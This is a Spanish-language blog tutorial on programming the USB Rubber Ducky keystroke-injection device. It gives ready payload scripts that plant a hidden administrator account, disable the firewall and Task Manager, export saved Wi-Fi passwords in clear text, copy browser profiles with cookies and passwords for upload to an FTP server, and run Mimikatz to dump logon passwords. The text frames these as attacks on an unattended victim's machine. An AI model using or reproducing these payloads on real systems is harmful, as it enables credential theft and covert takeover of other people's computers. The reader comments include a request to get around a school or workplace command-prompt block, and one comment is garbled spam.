Guía de uso para USB Rubber-Ducky.

Luego de haber hecho algunas modificaciones al contenido referente a esta herrramienta, hemos decidido compartir en su totalidad esta guia de uso del USB Rubber Ducky, para que puedas consultar aqui en nuestro blog el modo de uso y funcionalidades de la herramienta. En este artículo encontrarás diferentes temas acerca de esta pieza de hardware, desde lo que es y hace, como personalizarlo a tu gusto para deplegarlo en una situación específica, hasta la automatización de ataques complejos.


Para esto, el contenido de dividirá en 3 Partes pricipalmente:

1.- Familiarizándonos con el compilador y el las diferentes distribuciones en los teclados.

2.-  Crear y configurar de un servidor FTP.

3. Compliación de payloads para Rubber Ducky.

 

Bien, habrá algunos que ya habran trbajado con el Rubber con anterioridad, si eres parte de esa audiencia, puedes adelantarte  a los temas principales y buscar entré el contendio, en cambio, si eres nuevo o estas poco familiarizado con el tema y ahora que ya tienes una idea general de lo que viene debajo, es momento de darte una breve introducción acerca de la  Herramienta.

Intro.

Actualmente las empresas no han tomado en cuenta la importancia que tiene la seguridad física. Hay muchas personas que buscan robar tus contraseñas, obtener el historial de las páginas que visitas en Internet, robar los passwords de las redes Wifi que tienes guardadas, etc.

Todo esto se puede lograr teniendo acceso físico al equipo y con la ayuda de Rubber Ducky, basta con perder de vista el equipo, alejarte de tu zona de trabajo para prepararte un café, cualquier oportunidad puede ser aprovechada por un atacante para conectar un Rubber Ducky y hacer el trabajo sucio.

Rubber Ducky es originalmente desarrollado por un grupo de expertos en seguridad de la empresa Hak5, se desarrolló para automatizar ataques ya establecidos y facilitar en tiempo las pruebas de pentesting.

Este dispositivo es un teclado programado con forma de USB que nada más se conecta y comienza a escribir en el equipo de forma automatizada.

Casi todos los equipos incluyendo laptops, tablets y smartphones permiten los teclados USB como medio de entrada o comunicación entre el usuario y el dispositivo. Es por eso que hay una especificación con el estándar USB conocido como HID (Human Interface Device – Dispositivo de Interfaz Humana). Esto quiere decir que, cualquier dispositivo al que ingresemos el USB Rubber Ducky lo detectará y será bien aceptado por la mayoría de los sistemas operativos modernos automáticamente. Ya se trate de un dispositivo con Windows, Mac, Linux o Android el teclado es lo principal.

Usando un sencillo lenguaje de programación y un editor de texto podríamos compilar un binario que automatice diversos “payloads” con lo cual podríamos realizar ataques en cuestión de segundos.

¿Puede ser detectado?

Recordemos que cuando ingresamos el Rubber Ducky, los sistemas lo detectaran como detectan a un teclado y los sistemas brindan confianza inherente a las pulsaciones del teclado, por lo tanto, contramedidas tradicionales pueden ser dejados de lado.

 

PRIMERA PARTE: Conociendo el compilador y las diferentes distribuciones de lenguaje en los teclados.

Ducky Encoder 2.6.3

Existen diferentes compiladores, diferentes versions, con modalidad online y otros para usarlos offline, en este curso se va a utilizar el compilador Ducky Enconder en su version 2.6.3, el cual se puede usar sin tener acceso a Internet.

Para que el compilador funcione, es necesario tener instalado el software de Java.

El compilador se ejecuta desde la línea de commandos CMD en Windows, y a continuación se muestran sus partes:

  • java -jar [nombre del compilador]: se utliza el software de Java para su ejecución y se le coloca la opción -jar, esto le indica a java que se va a ejecutar un archivo con extension .jar. Quedando esta parte de la siguiente manera:

java -jar encoder.jar

  • -l resources/[Distribución de teclado]: la opción -l le indica al compilador qué leguaje y distribución de teclado va a utilizar. Las diferentes distribuciones de teclado con las que trabaja el compilador se encuentran en el directorio resources. Ejemplo:

-l resources/es.properties

  • -i [Archivo payload].txt: la opción -i define el nombre del archivo que contiene el código del payload, este debe tener extension txt.

Ejemplo:

-i PrimerPayload.txt

  • -o inject.bin: la opción -o se refiere al archivo se salida, que es un archivo binario y es necesario que su nombre sea bin.

-o inject.bin

En una sola línea la compilación del payload queda como se muestra a continuación:

java    -jar    encoder.jar    -l    resources/es.properties    -i

PrimerPayload.txt -o inject.bin

Diferentes distribuciones de teclado.

Un inconveniente que se puede encontrar es saber diferenciar entre las diferentes distribuciones que existen. En México, se cuenta con dos distribuciones de teclado principalmente, Español

(Latinoamericano) y Español (España).

Es importante saber distinguir entre uno y otro para que el payload pueda funcionar de manera correcta. Las principales diferencias entre los dos teclados, están en los caracteres @, \, [, ], {, }.

La manera más fácil de distinguirlos es identificando la @, en el teclado latinoamericano está como subíndice en la letra Q,y en el teclado español España está en el número 2.

Otra diferencia importante es la diagonal invertida (\) como se podrá observar.

Teclado latinoamericano

rubb1

Teclado español España

rubb2.png

En la barra de tareas se puede conocer en qué distribución está configurado nuestro teclado.

tecladomex

 

Una de las opciones que se tiene que ingresar al momento de compilar el payload, es el idioma de la distribución de teclado, de acuerdo a la configuración de teclado que se va a usar.

A continuación, se muestra una parte de los archivos que indican las diferencias de cada distribución.

Español Latinoamérica

key key2

 

En las opciones de compilación, se utiliza resources/es.properties para esta distribución.

Español España

key3 key4

En las opciones de compilación, se utiliza resources/spain.properties para esta distribución.

Lenguaje script para Rubber Ducky

  • DELAY x – Tiempo de espera en mili-segundos.
  • STRING xyz – Escribir una cadena de texto.
  • WINDOWS – Menú Windows.
  • WINDOWS R – Cuadro ejecutar de Windows.
  • UPARROW – Tecla arriba.
  • DOWNARROW – Tecla abajo.
  • LEFTARROW – Tecla a la izquierda.
  • RIGHTARROW – Tecla derecha.
  • CAPS |CAPSLOCK – BloqMayús.
  • ENTER – Tecla enter.
  • SPACE – Barra espaciadora.
  • REPEAT X – Repetir X número de veces el comando anterior.
  • REM – Escribir un comentario. Este comentario no se tomará en cuenta en la ejecución del payload.

Se puede incluso utilizar algunas (pero no todas) de dos a tres combinaciones de teclas:

  • SHIFT ENTER
  • CTRL ALT DEL
  • ALT F4
  • WINDOWS X
  • ALT TAB
  • WINDOWS R

 

SEGUNDA PARTE: Creación y configuracion de un servidor FTP.

Creación y configuración de un servidor FTP

Es útil contar con un servidor FTP para usarlo como apoyo en los ataques, por ejemplo, para subir información obtenida o descargar alguna aplicación almacenada en él.

Se mostrarán los pasos a seguir para crear un servidor FTP gratuito, para posteriormente utilizarlo con los ejercicios.

Las instrucciones son las siguientes:

  1. Entrar a la página web http://www.hostinger.mx/

host12. Seleccionar Hospedaje Gratuito – ¡Pídelo ahora!

Llenar los datos que se piden y dar clic en Crear Cuenta. Llenar los datos que se piden y dar clic en Crear Cuenta. host2

3. Llenar los datos que se piden y dar clic en Crear Cuenta.

host3

4. Una vez creada la cuenta, es necesario activarla. Hostinger envía el proceso de activación al correo que se utilizó en el registro.

host4

host5host6

5. Al dar clic en el enlace de activación, se muestra una página indicando que el registro está completo. Ahora se selecciona un plan de alojamiento, hay de paga y gratuito, para el curso se selecciona el plan gratuito. Dar clic en Gratis – Ordenar.

host76. Como siguiente paso se configura la cuenta de alojamiento. A) En tipo de subdominio, elegir

  1. Elegir un nombre para el dominio.
  2. Elegir una contraseña para la cuenta de alojamiento.
  3. Repetir la contraseña del inciso anterior.
  4. Dar clic en continuar.host8 host97. Revisar que esté correcto el Plan, Dominio y Precio. Describe en 5 palabras el motivo del porqué elegiste crear una cuenta gratuita (A). Dar clic en Ordenar (B).
  1. host108. Verificar en el correo utilizado en el registro los datos de la cuenta FTP, como dirección del FTP, usuario y contraseña

Acceder al servidor FTP

Para poder acceder a la cuenta FTP que se creó en el apartado anterior se utiliza el software FileZilla.

Es necesario que recuerde sus datos de dirección FTP, usuario y contraseña.

Escribir los datos de la cuenta en cada campo correspondiente, Servidor, Nombre de usuario y Contraseña. Dar clic en Conexión rápida.

zilla2

 

 

TERCERA PARTE: Creación y compilación de payloads.

El primer payload

Cuando se conecta el dispositivo USB Rubber Ducky ejecuta el payload de inmediato, por eso es necesario un tiempo de espera para que el sistema operativo pueda reconocer al dispositivo como un teclado.

En este ejemplo y en todos los posteriores se utiliza un tiempo de espera de 3 segundos (3000 ms).

Como el dispositivo Rubber Ducky actúa como un teclado, las líneas de código para escribir el payload están definidas por los pasos a seguir si estuviésemos sentados frente al equipo y se utilizara el propio teclado del equipo.

En resumen, los pasos para escribir un primer payload, se pueden dividir en:

  • Retraso inicial para el sistema operativo.
  • WINDOWS R – Muestra el cuadro de Ejecutar.
  • Pequeño retraso para esperar a que inicie el cuadro Ejecutar.
  • En el cuadro Ejecutar escribir “notepad.exe”
  • Otro retraso para esperar a que abra el bloc de notas.
  • Al final escribe una cadena de texto dentro del bloc de notas.

Quedando así el primer payload:

DELAY 3000

WINDOWS r

DELAY 500

STRING notepad.exe

ENTER

DELAY 1000

STRING Este es mi primer payload con USB Rubber Ducky! \@ []{}+*% Se guarda el archivo como PrimerPayload.txt. Para facilitar la compilación se guarda en el mismo directorio donde está el compilador.

A continuación, se compila el payload:

java    -jar    encoder.jar    -l    resources/es.properties    -i

PrimerPayload.txt -o inject.bin

cons1

Como se puede observar, en el mismo directorio se genera el archivo binario compilado (inject.bin).

firstpayload

Ya que se tiene el payload compilado, se guarda el binario en la microSD utilizando el adaptador que viene incluido en el kit de Rubber Ducky. Después se coloca la microSD en el Rubber Ducky para poder conectarlo al equipo y probar si funciona.

Broma de Wallpaper

Para familiarizarse un poco más con el lenguaje script de Rubber Ducky, continuaremos con la creación de un payload que va a cambiar el fondo de pantalla de la víctima, dando la impresión de que no puede dar clic en los iconos del escritorio.

En general, lo que hace el payload es, minimizar todas las aplicaciones abiertas para dejar libre la pantalla de escritorio, tomar una captura de pantalla del escritorio libre y ocultar los iconos, después abre el programa de Windows Paint, pega la captura y la coloca como imagen de fondo de pantalla, por último, cierra Paint y maximiza todas las ventanas activas para no dejar rastro de que se minimizaron.

El script del payload es el que sigue:

DELAY 3000

WINDOWS d

DELAY 500

PRINTSCREEN

DELAY 200 MENU

DELAY 300 STRING v

DELAY 100 STRING d

DELAY 300

WINDOWS r

DELAY 700

STRING mspaint

ENTER

DELAY 2000

CTRL v

 

DELAY 500 ALT f

DELAY 500

STRING O

DELAY 1000

STRING %userprofile%\a.bmp

ENTER

DELAY 500 ALT f

DELAY 400 STRING C

DELAY 200

STRING R

DELAY 1000 ALT F4

DELAY 1000

WINDOWS d

Nota: Este ejercicio se realizó para Windows 10, las letras para acceder a los nemónicos pueden variar en otra versión de Windows.

Guardar el payload como BromaWallpaper.txt, compilar y probar.

java    -jar    encoder.jar    -l    resources/es.properties    -i

BromaWallpaper.txt -o inject.bin

 

Payload para descargar un archivo de un servidor FTP

La descargar de un archivo de un servidor FTP se puede hacer desde la consola CMD de Windows y también utilizando la herramienta PowerShell. En el ejercicio se utiliza PowerShell.

Windows PowerShell es una interfaz de consola (CLI) con posibilidad de escritura y unión de comandos por medio de instrucciones (scripts en inglés). Esta interfaz de consola está diseñada para su uso por parte de administradores de sistemas, con el propósito de automatizar tareas o realizarlas de forma más controlada. La instrucción de PowerShell que hace la descarga es:

powershell (new-object

System.Net.WebClient).DownloadFile(‘http://blackbyte.esy.es/Prueba FTP.txt’,’%userprofile%\PruebaFTP2.txt’);

La ejecución de la instrucción anterior se hace desde la consola CMD de Windows, es necesario abrir la consola con permisos de administrador.

Los pasos para automatizar la tarea de descarga mediante el payload son los siguientes:

  1. Tiempo de espera para el sistema operativo.
  2. Sacar el menú Windows-X. El menú Windows-X es un pequeño menú con varios accesos directos. Se obtiene con la combinación de teclas Windows + X.

cp

  1. En el menú Windows-X, seleccionar Símbolo del sistema (administrador). Esto para abrir la consola CMD con permisos de administrador.
  1. Aceptar los permisos para ejecutar la consola CMD con permisos de administrador.
  1. Escribir en la consola el comando de PowerShell para descargar el archivo del servidor FTP.
  1. Salir de la consola.

Quedando el script del payload como sigue:

DELAY 3000

WINDOWS X

DELAY 500

DOWNARROW

REPEAT [número de veces hasta llegar a Símbolo del sistema

(administrador)]

ENTER

DELAY 500

LEFTARROW

ENTER

DELAY 1000

STRING powershell (new-object

System.Net.WebClient).DownloadFile(‘http://blackbyte.esy.es/Prueba FTP.txt’,’%userprofile%\PruebaFTP2.txt’);

ENTER

DELAY 4000

STRING exit

ENTER

Ahora se guardará el payload como DescargarArchivoDeFTP.txt y compilar.

java    -jar    encoder.jar    -l    resources/es.properties    -i

DescargarArchivoDeFTP.txt -o inject.bin

 

Payload para subir archivos a un servidor FTP

Este ejercicio se realizará con la instrucción ftp en la consola de Windows.

La instrucción es ftp [Tu servidor FTP], a continuación, se pedirá nombre de usuario y contraseña.

Nuevamente es necesario que la consola de Windows se ejecute con permisos de administrador.

El payload para realizar esta tarea queda como sigue:

DELAY 3000

WINDOWS X

DELAY 500

DOWNARROW REPEAT [número de veces]

ENTER

DELAY 300

LEFTARROW

ENTER

DELAY 1000

STRING ftp [tu servidor FTP]

ENTER

DELAY 2000

STRING [tu usuario]

ENTER

DELAY 500

STRING [tu contraseña]

ENTER

DELAY 500

STRING put [tu archivo]

ENTER

DELAY 3000

STRING bye

ENTER

STRING exit

ENTER

Guardar el archivo como SubirArchivoFTP.txt, compilar y probar.

java    -jar    encoder.jar    -l    resources/es.properties    -i

SubirArchivoFTP.txt -o inject.bin

Con FileZilla se puede verificar que el archivo fue subido con éxito.

 

Payload para crear cuentas de administrador ocultas

Este payload tiene como función crear una cuenta con privilegios de administrador y la va a ocultar de la pantalla de inicio y de la parte de configuración de cuentas de usuario.

Primero se identificarán las cuentas de usuario existentes.

Para lo anterior se utiliza el comando net user.

cons2

La lista de comandos para crear una cuenta de usuario administrador con password y además oculta son:

  • net user [usuario] [password] /add
  • net localgroup administradores [usuario] /add
  • reg add «HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList» /v

[usuario] /t REG_DWORD /d 0 /f

 

En la primera línea se agrega un usuario [usuario] con contraseña [password].

En la segunda línea se agrega ese usuario al grupo de administradores.

En la tercera línea se agrega una nueva entrada al registro de Windows con el nombre del usuario y se le da el valor 0 a esa entrada.

Ejemplo: net user mike 12345 /add net localgroup administradores oscar /add

reg add «HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList» /v oscar /t REG_DWORD /d 0 /f

El script para automatizar esta tarea es:

DELAY 3000

WINDOWS X

DOWNARROW REPEAT [número de veces]

ENTER

DELAY 1000

LEFTARROW

ENTER

DELAY 1000

STRING net user [usuario] [contraseña] /add

ENTER

STRING net localgroup administradores [usuario] /add

ENTER

STRING reg add «HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList» /v [usuario] /t REG_DWORD /d 0 /f

ENTER

DELAY 500

STRING exit

ENTER

Guardar el script como CrearCuentaAdministradorOculta.txt, compilar y probar.

java    -jar    encoder.jar    -l    resources/es.properties    -i

CrearCuentaAdministradorOculta.txt -o inject.bin

Para hacer visible la cuenta se cambia el valor de la entrada del registro a 1.

 

Payload para eliminar cuentas de usuario

En el ejercicio anterior se agregó una cuenta de usuario, también es posible eliminar una cuenta de manera muy sencilla.

El comando para eliminar una cuenta es net user [usuario] /del.

El payload para esta tarea queda así:

DELAY 3000

WINDOWS X

DOWNARROW REPEAT [número de veces]

ENTER

DELAY 1000

LEFTARROW

ENTER

DELAY 1000

STRING net user [usuario] /del

ENTER

STRING exit

ENTER

 

Guardar el archivo como EliminarCuentaUsuario.txt, compilar y probar.

java    -jar    encoder.jar    -l    resources/es.properties    -i

EliminarCuentaUsuario.txt -o inject.bin

 

Payload para habilitar y deshabilitar el Task Manager

Uno de los ataques más populares a los sistemas es lograr realizar cambios al registro de Microsoft Windows, en este ejercicio se verá cómo con un payload se puede habilitar o deshabilitar el Administrador de Tareas de Windows. Debido a que en la mayor parte de sistemas dentro de las organizaciones intentan controlar los movimientos del usuario, una de las limitantes que colocan es deshabilitar el registro de Windows y el Administrador de Tareas.

Para realizar cambios en el registro y poder quitar estas restricciones, podríamos apoyarnos con el CMD y lanzar algunos comandos que permitirán estos cambios.

El comando para deshabilitar el Administrador de tareas es:

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v DisableTaskMgr /t REG_DWORD /d 1 /f

Se agrega una entrada en el registro con el valor DisableTaskMgr y con el valor 1 o true para deshabilitar el Administrador de tareas de Windows.

Al ingresar el comando manualmente, se observa que el Administrador de tareas está deshabilitado.

tsk

Para automatizar esta modificación, el payload se hará de la siguiente manera:

DELAY 3000

WINDOWS X

DOWNARROW REPEAT [número de veces]

ENTER

DELAY 1000

LEFTARROW

ENTER

DELAY 1000

STRING REG ADD

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v DisableTaskMgr /t REG_DWORD /d 1 /f

ENTER

STRING exit

ENTER

 

Guardar el payload como DeshabilitarTaskManager.txt, compilar y probar.

java    -jar    encoder.jar    -l    resources/es.properties    -i

DeshabilitarTaskManager.txt -o inject.bin

De igual manera se puede quitar esta limitación en cualquier sistema Microsoft Windows, el comando es el siguiente:

REG DELETE

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v DisableTaskMgr /f

 

Para automatizar la modificación, el payload es el siguiente:

DELAY 3000

WINDOWS X

DOWNARROW REPEAT [número de veces]

ENTER

DELAY 1000

LEFTARROW

ENTER

DELAY 1000

STRING REG DELETE

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v DisableTaskMgr /f

ENTER

STRING exit

ENTER

 

Guardar script como HabilitarTaskManager.txt, compilar y probar.

java    -jar    encoder.jar    -l    resources/es.properties    -i

HabilitarTaskManager.txt -o inject.bin

 

Payload para obtener información a detalle del equipo

En las pruebas de penetración es esencial conocer al 100% a la víctima que estamos atacando, algunos ataques pueden requerir conocer un poco más acerca del sistema operativo, actualizaciones, Servidores de inicio de sesión, tipo de sistema, etc.

Windows ofrece comandos para facilitar este tipo de información, la cual se obtiene a detalle y de una manera ordenada. La salida de estos comandos se pueden re direccionar a un archivo que se usará más adelante dependiendo del interés del atacante.

El comando utilizado para obtener este tipo de información es systeminfo.

Y para re direccionar la salida del comando a un archivo se indica el operador > y en seguida el nombre del archivo.

systeminfo > C:\systemInfo.txt

Si se ejecutan los comandos anteriores de manera manual en CMD, se tiene lo siguiente:

cons3 cons4 sysinfo

 

El script se escribe de la siguiente manera:

DELAY 3000

WINDOWS X

DOWNARROW REPEAT [número de veces]

ENTER

DELAY 300

LEFTARROW

ENTER

DELAY 1000

STRING systeminfo > C:\sysinfo.txt

ENTER

DELAY 3000

STRING exit

ENTER

 

Guardar el script como ObtenerInformaciónEquipo.txt, compilar y probar.

java    -jar    encoder.jar    -l    resources/es.properties    -i

ObtenerInformaciónEquipo.txt -o inject.bin

 

Payload para activar y desactivar el Firewall

Hay un gran número de ataques que para tener éxito necesitan que el Firewall del equipo víctima esté desactivado. Un atacante que intenta monitorear un equipo de manera remota, puede requerir de esta opción.

Para realizar esta operación se introduce el siguiente comando en el CMD:

netsh advfirewall set allprofiles state off

Si se introduce el comando manualmente, se muestra lo siguiente.

cons5 firewall

 

Lo anterior se puede escribir en el payload siguiente:

DELAY 3000

WINDOWS X

DELAY 500

DOWNARROW

REPEAT 10 ENTER

DELAY 500

LEFTARROW

ENTER

DELAY 1000

STRING netsh advfirewall set allprofiles state off

ENTER

DELAY 1000

STRING exit

ENTER

 

Guardar como DesactivarFirewall.txt, compilar y probar.

java    -jar    encoder.jar    -l    resources/es.properties    -i

DesactivarFirewall.txt -o inject.bin

De igual manera es posible activar el Firewall, el comando es muy sencillo y se define como sigue:

netsh advfirewall set allprofiles state on

Se nota que es el mismo comando que se utilizó para desactivarlo, la única modificación que se realiza es cambiar de off a on.

Al introducirlo de forma manual, se obtiene el siguiente resultado.

cons6 fireon

Probemos creando el payload:

DELAY 3000

WINDOWS X

DELAY 500

DOWNARROW REPEAT [número de veces]

ENTER

DELAY 500

LEFTARROW

ENTER

DELAY 1000

STRING netsh advfirewall set allprofiles state on

ENTER

DELAY 1000

STRING exit

ENTER

 

Guardar payload como ActivarFirewall.txt, compilar y probar.

java    -jar    encoder.jar    -l    resources/es.properties    -i

ActivarFirewall.txt -o inject.bin

Payload para obtener passwords de las redes Wifi almacenadas

Windows almacena en el mismo equipo las contraseñas de las redes Wifi a las que se ha conectado, para en un futuro volverse a conectar si encuentra alguna de las redes recordadas.

Es fácil acceder a esta información, el comando que se utiliza es: netsh wlan export profile key=clear

El comando anterior genera una lista de archivos con extensión xml de todas las redes Wifi recordadas, a las que se ha conectado el equipo. Se crea un archivo por cada punto de acceso.

Se puede ver el contenido de estos archivos utilizando un editor de texto como WordPad.

Al introducir el comando manualmente se observa lo siguiente.

ap

Y si se abre uno de esos archivos podemos ver el SSID del punto de acceso y su contraseña.

apr

 

El payload queda así:

DELAY 3000

WINDOWS X

DOWNARROW REPEAT [número de veces]

ENTER

DELAY 1000

LEFTARROW

ENTER

DELAY 1000

STRING cd C:\

ENTER

STRING md WifiPass ENTER

STRING cd WifiPass

ENTER

STRING netsh wlan export profile key=clear

ENTER

DELAY 3000

STRING exit

ENTER

 

Guardar como ObtenerWifiPass.txt, compilar y probar.

java    -jar    encoder.jar    -l    resources/es.properties    -i

ObtenerWifiPass.txt -o inject.bin

 

Payload para obtener información de perfil de navegadores como Google Chrome y Firefox

Los navegadores guardan de manera automática información que contiene el historial de páginas visitadas, cookies y las contraseñas que el usuario le ha permitido guardar.

Esta información de perfil se guarda en el almacenamiento local del equipo, es posible extraerlo y analizarlo detalladamente apoyándose de software especializado. Si obtenemos las cookies podemos entrar en la sesión iniciada de la víctima en algunas páginas como Facebook, Gmail, Outlook, etc. Con el historial de páginas visitadas se pueden investigar los intereses de la víctima y después poder aplicar ingeniería social. Y si nos apoderamos de las contraseñas podemos realizar muchas cosas.

Para Google Chrome, este perfil se guarda en la ruta C:\Users\[Usuario]\AppData\Local\Google\Chrome\User Data\Default.

En este ejercicio se va a copiar todo el directorio y se va a comprimir para que después sea más fácil subirlo al servidor FTP, por ejemplo.

Vamos a utilizar nuevamente PowerShell para hacer más fácil el trabajo.

El comando para copiar el directorio con PowerShell es:

Copy-Item $from -destination $to -recurse

En donde $from se reemplaza por la ruta de origen y $to se reemplaza por la ruta destino.

Y el comando para comprimir el directorio es:

Compress-Archive -Path $zip -DestinationPath C:\ChromeProfile.zip

En donde $zip se reemplaza por el directorio que se va a comprimir y en la opción -DestinationPath se define la ruta y nombre del archivo comprimido.

Nota: La instrucción para comprimir archivos depende de la versión de PowerShell. El ejemplo anterior es para una versión 5.0.

Para la versión 4.0 de PowerShell las instrucciones son:

Add-Type -AssemblyName ‘System.IO.Compression.Filesystem’

[System.IO.Compression.ZipFile]::CreateFromDirectory($zip,’C:\Chro me.zip’)

 

Automatizando el payload queda como sigue:

DELAY 3000

WINDOWS X

DOWNARROW REPEAT [número de veces]

ENTER

DELAY 500

LEFTARROW

ENTER

DELAY 500

STRING powershell

ENTER

DELAY 1000

STRING $from = $env:userprofile + «\AppData\Local\Google\Chrome\User

Data\Default»

ENTER

DELAY 500

STRING Copy-Item $from -destination $env:userprofile -recurse

ENTER

DELAY 30000

STRING $zip = $env:userprofile + «\Default»

ENTER

DELAY 500

STRING     Compress-Archive     -Path      $zip -DestinationPath C:\ChromeProfile.zip

ENTER

DELAY 20000

STRING exit

ENTER

Guardar como InformaciónChrome.txt, compilar y probar.

java    -jar    encoder.jar    -l    resources/es.properties    -i

InformaciónChrome.txt -o inject.bin

Para ver el historial de páginas visitadas se utiliza el software ChromeHistoryView. Se muestra información como la siguiente.

cromala

Con ChromeCookiesView se muestra las cookies almacenadas.

cromala2

Y por último con ChromePass podemos saber todas las contraseñas almacenadas en Google Chrome.

cromala3

Para obtener la información de Firefox se hace de la misma forma.

La ruta del perfil de usuario en Firefox es:

C:\Users\[Usuario]\AppData\Roaming\Mozilla\Firefox\Profiles

Nota: El proceso de copiado y compresión se hace de la misma forma que el ejemplo con Chrome. Y los programas de apoyo son MozillaHistoryView, MozillaCookiesView y PasswordFox.

 

Payload para crackear contraseñas de Microsoft Windows

El siguiente script, trata de crackear las contraseñas de Windows, con ayuda de una herramienta llamada Mimikatz, la cual nos devolverá en texto plano las contraseñas de todas las cuentas que estemos usando en Windows, esta herramienta es usada actualmente dejando atrás ataques basados en la extracción del archivo SAM de Windows. Las instrucciones se resumen en simples pasos:

  • privilege::debug
  • log
  • sekurlsa::logonPasswords full

Al ejecutar manualmente los comandos podremos observar en texto plano algunas contraseñas:

mimikatz

Ahora se puede hacer el payload de la siguiente manera:

DELAY 3000

WINDOWS X

DOWNARROW REPEAT [número de veces]

ENTER

DELAY 500

LEFTARROW

ENTER

DELAY 500

STRING [Ruta]\mimikatz.exe

ENTER

DELAY 500

STRING privilege::debug

ENTER

DELAY 500

STRING log ENTER

DELAY 1000

STRING sekurlsa::logonPasswords full

ENTER

DELAY 1000

STRING exit

ENTER

Guardar el archivo como CrackPass.txt, compilar y probar.

java -jar encoder.jar -l resources/es.properties -i CrackPass.txt o inject.bin

Se le pueden agregar más cosas, por ejemplo, descargar Mimikatz desde nuestro servidor FTP y una vez hecho el ataque, subir el archivo log al servidor FTP.

Como pudiste ver a lo largo de todo este post, se realizó una extensa variedad de ejercicios y demostraciones sobre el uso del USB-Rubber Ducky, siendo este una pieza de hardware que puede pasar desaprecibida ante los sitemas inromáticos ya que funciona como cualquier otro dispositivo HID (Human Interface Device), por lo que es un vector de ataque bastante explotable, en donde podemos hacer desde una simple brma al cambiar el backgroud de tu pc, hasta el volcado de password de Access Points, Navegadores y otros servicios del sistema operativo. Este articulo fue hecho con el fin de que puedas  consultar esta información  de forma gratuita… cuando quieras a la hora que quieras.

Todo el contenido de este escrito fue hecho con fines educativos.

-Manual elaborado por Alejandro Torres.

3 thoughts on “Guía de uso para USB Rubber-Ducky.”

  1. Muy interesante el POST, pero si por ejemplo en la escuela o en el trabajo tengo bloqueado mi cmd y algunos accesos directos como
    WINDOWS R,
    WINDOWS X,
    etc.
    ¿Que puedo hacer?

  2. I amm surre this postt hhas ttouched all thhe inernet users, iits relly reazlly good paragrraph oon building upp neew webpage.
    Hola! I’ve beedn readjng your bblog forr a whipe noow andd finally got tthe couirage too goo aheawd andd
    give you a shoutt out from Portr Texas! Justt wantyed tto mentin kesep uup
    tthe grest work! Ahaa, itts fastidius discussion abou thi aarticle aat this place aat
    tyis blog, I haqve rad all that, soo noow mme alwo comenting here.
    http://foxnews.co.uk/

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *